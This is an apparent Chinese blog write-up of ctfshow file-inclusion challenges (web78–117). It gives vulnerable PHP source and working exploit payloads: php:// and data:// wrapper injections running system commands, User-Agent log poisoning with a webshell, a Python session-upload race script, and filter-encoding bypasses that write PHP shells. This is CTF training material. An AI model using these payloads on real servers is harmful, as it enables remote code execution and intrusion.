• ctfshow文件包含


    web78

    源码:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }else{
        highlight_file(__FILE__);//高亮显示当前文件内容
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    解法一 - php://input

    # http://challenge.ctf.show/?file=php://input
    # [POST DATA]
    <?php system('ls')?>
    <?php system('cat flag.php')?>
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    解法二 - data://

    • ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4=
    • ?file=data://text/plain,%3c%3fphp+system('cat+flag.php')%3f%3e

    web79

    相比上一题,过滤了php。

    if(isset($_GET['file'])){
    	$file = $_GET['file']; 
    	$file = str_replace("php", "???", $file); 
        include($file);  
    }else{
    	highlight_file(__FILE__);  
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. 大写绕过PHP://input
    2. ?file=data://text/plain,
    3. ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

    web80-日志文件包含

    这次把php和data伪协议都过滤了

    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    
    • 1
    • 2

    大小写绕过,经过测试,data 协议无法使用 DATA 绕过。但php://input可以 PHP://input 绕过。

    日志文件路径: /var/log/nginx/access.log

    解法一:在User-Agent头添加一句话木马 ,蚁剑连接。

    在这里插入图片描述

    解法二:PHP://input

    web81

    $file = str_replace("php", "???", $file);    
    $file = str_replace("data", "???", $file);    
    $file = str_replace(":", "???", $file);
    
    • 1
    • 2
    • 3

    php伪协议不能用了,日志文件包含还是可以,见web80

    82-86-session文件包含

    $file = str_replace("php", "???", $file);    
    $file = str_replace("data", "???", $file);    
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    
    • 1
    • 2
    • 3
    • 4

    83-86都是和82一样的脚本,只是通过一些手段加大了条件竞争的难度

    import requests
    import threading
    import io
    session = requests.session()
    # 服务器会创建/tmp/sess_zidingyi 的会话文件
    sessid='zidingyi'
    url1 = 'http://challenge.ctf.show/'
    url2 = url1+'?file=/tmp/sess_'+sessid
    data1={
        'PHP_SESSION_UPLOAD_PROGRESS':''
    }
    data2 = { '1':'system("cat f*");' }
    file={ 'file':('a.txt',io.BytesIO(b'a'*1024*50))}
    cookies={'PHPSESSID':sessid}
    
    def write():
        while True:
            r=session.post(url1,data=data1,files=file,cookies=cookies)
    def read():
        while True:
            r = session.post(url2,data=data2)
            if 'ctfshow{' in r.text:
                print(r.text)
                break
    if __name__ == '__main__':
        threads=[ threading.Thread(target=write),threading.Thread(target=read)]
        for t in threads:
            t.start()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    87 - 死亡代码

    if(isset($_GET['file'])){   
    	$file = $_GET['file'];    
    	$content = $_POST['content'];   					 
    	$file = str_replace("php", "???", $file);
    	$file = str_replace("data", "???", $file);    
    	$file = str_replace(":", "???", $file);    
    	$file = str_replace(".", "???", $file);  
    	file_put_contents(urldecode($file), "".$content);  
         
    }else{ 
    	highlight_file(__FILE__);  
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    法一、Base64解码,将死亡代码解码成乱码,使得php引擎无法识别。

    ?file=php://filter/write=convert.base64-decode/resource=1.php
    ↓ 双重URL全编码,网站提供了urldecode()否则不可用
    %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
    
    [POST DATA]
    content=
    ↓ base64编码,长度一定是4的倍数
    content=PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
    ↓ phpdie 需要填充两个字符,比如aa
    content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    法二、rot13编码

    # 双重url全编码
    ?file=php://filter/write=string.rot13/resource=1.php
    # [POST DATA]
    content=<?cuc flfgrz('gnp s*.cuc');?>  //
    
    • 1
    • 2
    • 3
    • 4

    最后访问 /1.php 即可。

    88

    if(isset($_GET['file'])){    
    	$file = $_GET['file'];  
    	if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    		die("error");  
    	}  
    	include($file);  
    }else{    
    	highlight_file(__FILE__);  
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    没有过滤 “:” , 使用伪协议 data:// ,?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==

    但是 “=” 被过滤了,我们知道 = 是因为base64编码最后两个字节被0给填充了才显示的,有两个空格说明,要补两个字节。

     system('tac *.php');?>aa
    ↓ ↓ ↓
    PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
    # 最终答案
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
    
    • 1
    • 2
    • 3
    • 4
    • 5

    116 misc

    没学过逆向二进制,我也不懂这工具怎么用😂

    1. 下载视频
    2. 用十六进制工具查看(winhex、binwalk),结尾为IEND 有png图片!
    3. 用foremost分离提取出一张图片,发现是源码呢
    4. 直接访问 /?file=flag.php,然后"查看网页源代码",这个是mp4文件,比较特殊,方法一:view-source: ,方法二:抓包看

    在这里插入图片描述

    117 死亡代码

    highlight_file(__FILE__);  
    error_reporting(0);  
    function filter($x){  
        if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){  
            die('too young too simple sometimes naive!');  
        }  
    }  
    $file=$_GET['file'];  
    $contents=$_POST['contents'];  
    filter($file);  
    file_put_contents($file, "".$contents);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    Analyze: 没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。

    //ucs-2 两位一反转,字符的长度需要是偶数
    <?php echo iconv("UCS-2LE","UCS-2BE",'')?>
    //??
    ########################
    ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
    # [post data]
    contents=?<hp pvela$(P_SO[T]1;)>?
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    访问 /a.php
    POST : 1=system(‘ls’);
    1=system(‘tac flag.php;’);

    参考

  • 相关阅读:
    为什么女性应该考虑从事网络安全事业?
    【ESP 保姆级教程】疯狂Node.js服务器篇 ——教室WiFi自动打卡考勤(飞书群信息+NodeJs)
    RabbitMQ常见问题
    5.CAS原理
    Java零基础入门-如何代码模拟斗地主洗牌发牌动作(上)?
    Pandas数据的导入与导出
    LeetCode题解:171. Excel 表列序号,哈希表,TypeScript,详细注释
    javaweb之过滤器与监听器
    Android窗口层级(Window Type)分析
    用tkinter做一个简单图形界面
  • 原文地址:https://blog.csdn.net/m0_52062236/article/details/122801023